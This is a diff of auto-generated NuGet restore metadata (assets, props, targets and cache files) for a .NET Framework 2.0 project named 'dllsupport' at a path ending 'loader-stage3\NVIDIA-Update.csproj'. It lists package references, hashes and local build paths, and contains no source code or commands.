"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config",
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
],
"originalTargetFrameworks": [
"net20"
],
"sources": {
"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
"https://api.nuget.org/v3/index.json": {}
},
"frameworks": {
"net20": {
"targetAlias": "net20",
"projectReferences": {}
}
},
"warningProperties": {
"warnAsError": [
"NU1605"
]
},
"restoreAuditProperties": {
"enableAudit": "true",
"auditLevel": "low",
"auditMode": "direct"
},
"SdkAnalysisLevel": "10.0.100"
},
"frameworks": {
"net20": {
"targetAlias": "net20",
"dependencies": {
"Microsoft.NETFramework.ReferenceAssemblies": {
"suppressParent": "All",
"target": "Package",
"version": "[1.0.3, )",
"autoReferenced": true
}
},
"runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.106\\RuntimeIdentifierGraph.json"
}
},
"runtimes": {
"win-x86": {
"#import": []
}
}
}
}
}

View file

@ -0,0 +1,16 @@
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<RestoreSuccess Condition=" '$(RestoreSuccess)' == '' ">True</RestoreSuccess>
<RestoreTool Condition=" '$(RestoreTool)' == '' ">NuGet</RestoreTool>
<ProjectAssetsFile Condition=" '$(ProjectAssetsFile)' == '' ">$(MSBuildThisFileDirectory)project.assets.json</ProjectAssetsFile>
<NuGetPackageRoot Condition=" '$(NuGetPackageRoot)' == '' ">$(UserProfile)\.nuget\packages\</NuGetPackageRoot>
<NuGetPackageFolders Condition=" '$(NuGetPackageFolders)' == '' ">C:\Users\Erdef\.nuget\packages\;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages</NuGetPackageFolders>
<NuGetProjectStyle Condition=" '$(NuGetProjectStyle)' == '' ">PackageReference</NuGetProjectStyle>
<NuGetToolVersion Condition=" '$(NuGetToolVersion)' == '' ">6.14.2</NuGetToolVersion>
</PropertyGroup>
<ItemGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<SourceRoot Include="C:\Users\Erdef\.nuget\packages\" />
<SourceRoot Include="C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages\" />
</ItemGroup>
</Project>

View file

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ImportGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<Import Project="$(NuGetPackageRoot)microsoft.netframework.referenceassemblies.net20\1.0.3\build\Microsoft.NETFramework.ReferenceAssemblies.net20.targets" Condition="Exists('$(NuGetPackageRoot)microsoft.netframework.referenceassemblies.net20\1.0.3\build\Microsoft.NETFramework.ReferenceAssemblies.net20.targets')" />
</ImportGroup>
</Project>

View file

@ -0,0 +1,182 @@
{
"version": 3,
"targets": {
".NETFramework,Version=v2.0": {
"Microsoft.NETFramework.ReferenceAssemblies/1.0.3": {
"type": "package",
"dependencies": {
"Microsoft.NETFramework.ReferenceAssemblies.net20": "1.0.3"
}
},
"Microsoft.NETFramework.ReferenceAssemblies.net20/1.0.3": {
"type": "package",
"build": {
"build/Microsoft.NETFramework.ReferenceAssemblies.net20.targets": {}
}
}
},
".NETFramework,Version=v2.0/win-x86": {
"Microsoft.NETFramework.ReferenceAssemblies/1.0.3": {
"type": "package",
"dependencies": {
"Microsoft.NETFramework.ReferenceAssemblies.net20": "1.0.3"
}
},
"Microsoft.NETFramework.ReferenceAssemblies.net20/1.0.3": {
"type": "package",
"build": {
"build/Microsoft.NETFramework.ReferenceAssemblies.net20.targets": {}
}
}
}
},
"libraries": {
"Microsoft.NETFramework.ReferenceAssemblies/1.0.3": {
"sha512": "vUc9Npcs14QsyOD01tnv/m8sQUnGTGOw1BCmKcv77LBJY7OxhJ+zJF7UD/sCL3lYNFuqmQEVlkfS4Quif6FyYg==",
"type": "package",
"path": "microsoft.netframework.referenceassemblies/1.0.3",
"files": [
".nupkg.metadata",
".signature.p7s",
"microsoft.netframework.referenceassemblies.1.0.3.nupkg.sha512",
"microsoft.netframework.referenceassemblies.nuspec"
]
},
"Microsoft.NETFramework.ReferenceAssemblies.net20/1.0.3": {
"sha512": "mvyTeaG1dVyCx24hjVnqk1YvR4fwS1fHxt1tdnzWMGCHc09mvNVGF+8VAobWSDi+iDz6fgJ7jE5d/mWap4PYoA==",
"type": "package",
"path": "microsoft.netframework.referenceassemblies.net20/1.0.3",
"files": [
".nupkg.metadata",
".signature.p7s",
"build/.NETFramework/v2.0/Accessibility.dll",
"build/.NETFramework/v2.0/AspNetMMCExt.dll",
"build/.NETFramework/v2.0/CustomMarshalers.dll",
"build/.NETFramework/v2.0/IEExecRemote.dll",
"build/.NETFramework/v2.0/IEHost.dll",
"build/.NETFramework/v2.0/IIEHost.dll",
"build/.NETFramework/v2.0/ISymWrapper.dll",
"build/.NETFramework/v2.0/Microsoft.Build.Engine.dll",
"build/.NETFramework/v2.0/Microsoft.Build.Framework.dll",
"build/.NETFramework/v2.0/Microsoft.Build.Tasks.dll",
"build/.NETFramework/v2.0/Microsoft.Build.Utilities.dll",
"build/.NETFramework/v2.0/Microsoft.JScript.dll",
"build/.NETFramework/v2.0/Microsoft.VisualBasic.Compatibility.Data.dll",
"build/.NETFramework/v2.0/Microsoft.VisualBasic.Compatibility.dll",
"build/.NETFramework/v2.0/Microsoft.VisualBasic.Vsa.dll",
"build/.NETFramework/v2.0/Microsoft.VisualBasic.dll",
"build/.NETFramework/v2.0/Microsoft.VisualC.dll",
"build/.NETFramework/v2.0/Microsoft.Vsa.Vb.CodeDOMProcessor.dll",
"build/.NETFramework/v2.0/Microsoft.Vsa.dll",
"build/.NETFramework/v2.0/Microsoft_VsaVb.dll",
"build/.NETFramework/v2.0/RedistList/FrameworkList.xml",
"build/.NETFramework/v2.0/SubsetList/Client.xml",
"build/.NETFramework/v2.0/System.Configuration.Install.dll",
"build/.NETFramework/v2.0/System.Configuration.dll",
"build/.NETFramework/v2.0/System.Data.OracleClient.dll",
"build/.NETFramework/v2.0/System.Data.SqlXml.dll",
"build/.NETFramework/v2.0/System.Data.dll",
"build/.NETFramework/v2.0/System.Deployment.dll",
"build/.NETFramework/v2.0/System.Design.dll",
"build/.NETFramework/v2.0/System.DirectoryServices.Protocols.dll",
"build/.NETFramework/v2.0/System.DirectoryServices.dll",
"build/.NETFramework/v2.0/System.Drawing.Design.dll",
"build/.NETFramework/v2.0/System.Drawing.dll",
"build/.NETFramework/v2.0/System.EnterpriseServices.Thunk.dll",
"build/.NETFramework/v2.0/System.EnterpriseServices.Wrapper.dll",
"build/.NETFramework/v2.0/System.EnterpriseServices.dll",
"build/.NETFramework/v2.0/System.Management.dll",
"build/.NETFramework/v2.0/System.Messaging.dll",
"build/.NETFramework/v2.0/System.Runtime.Remoting.dll",
"build/.NETFramework/v2.0/System.Runtime.Serialization.Formatters.Soap.dll",
"build/.NETFramework/v2.0/System.Security.dll",
"build/.NETFramework/v2.0/System.ServiceProcess.dll",
"build/.NETFramework/v2.0/System.Transactions.dll",
"build/.NETFramework/v2.0/System.Web.Mobile.dll",
"build/.NETFramework/v2.0/System.Web.RegularExpressions.dll",
"build/.NETFramework/v2.0/System.Web.Services.dll",
"build/.NETFramework/v2.0/System.Web.dll",
"build/.NETFramework/v2.0/System.Windows.Forms.dll",
"build/.NETFramework/v2.0/System.Xml.dll",
"build/.NETFramework/v2.0/System.dll",
"build/.NETFramework/v2.0/cscompmgd.dll",
"build/.NETFramework/v2.0/mscorlib.dll",
"build/.NETFramework/v2.0/sysglobl.dll",
"build/Microsoft.NETFramework.ReferenceAssemblies.net20.targets",
"microsoft.netframework.referenceassemblies.net20.1.0.3.nupkg.sha512",
"microsoft.netframework.referenceassemblies.net20.nuspec"
]
}
},
"projectFileDependencyGroups": {
".NETFramework,Version=v2.0": [
"Microsoft.NETFramework.ReferenceAssemblies >= 1.0.3"
]
},
"packageFolders": {
"C:\\Users\\Erdef\\.nuget\\packages\\": {},
"C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages": {}
},
"project": {
"version": "1.0.0",
"restore": {
"projectUniqueName": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\NVIDIA-Update.csproj",
"projectName": "dllsupport",
"projectPath": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\NVIDIA-Update.csproj",
"packagesPath": "C:\\Users\\Erdef\\.nuget\\packages\\",
"outputPath": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\obj\\",
"projectStyle": "PackageReference",
"fallbackFolders": [
"C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages"
],
"configFilePaths": [
"C:\\Users\\Erdef\\AppData\\Roaming\\NuGet\\NuGet.Config",
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config",
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
],
"originalTargetFrameworks": [
"net20"
],
"sources": {
"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
"https://api.nuget.org/v3/index.json": {}
},
"frameworks": {
"net20": {
"targetAlias": "net20",
"projectReferences": {}
}
},
"warningProperties": {
"warnAsError": [
"NU1605"
]
},
"restoreAuditProperties": {
"enableAudit": "true",
"auditLevel": "low",
"auditMode": "direct"
},
"SdkAnalysisLevel": "10.0.100"
},
"frameworks": {
"net20": {
"targetAlias": "net20",
"dependencies": {
"Microsoft.NETFramework.ReferenceAssemblies": {
"suppressParent": "All",
"target": "Package",
"version": "[1.0.3, )",
"autoReferenced": true
}
},
"runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.106\\RuntimeIdentifierGraph.json"
}
},
"runtimes": {
"win-x86": {
"#import": []
}
}
}
}

View file

@ -0,0 +1,11 @@
{
"version": 2,
"dgSpecHash": "dPA3hmq8ic0=",
"success": true,
"projectFilePath": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\NVIDIA-Update.csproj",
"expectedPackageFiles": [
"C:\\Users\\Erdef\\.nuget\\packages\\microsoft.netframework.referenceassemblies\\1.0.3\\microsoft.netframework.referenceassemblies.1.0.3.nupkg.sha512",
"C:\\Users\\Erdef\\.nuget\\packages\\microsoft.netframework.referenceassemblies.net20\\1.0.3\\microsoft.netframework.referenceassemblies.net20.1.0.3.nupkg.sha512"
],
"logs": []
}

Binary file not shown.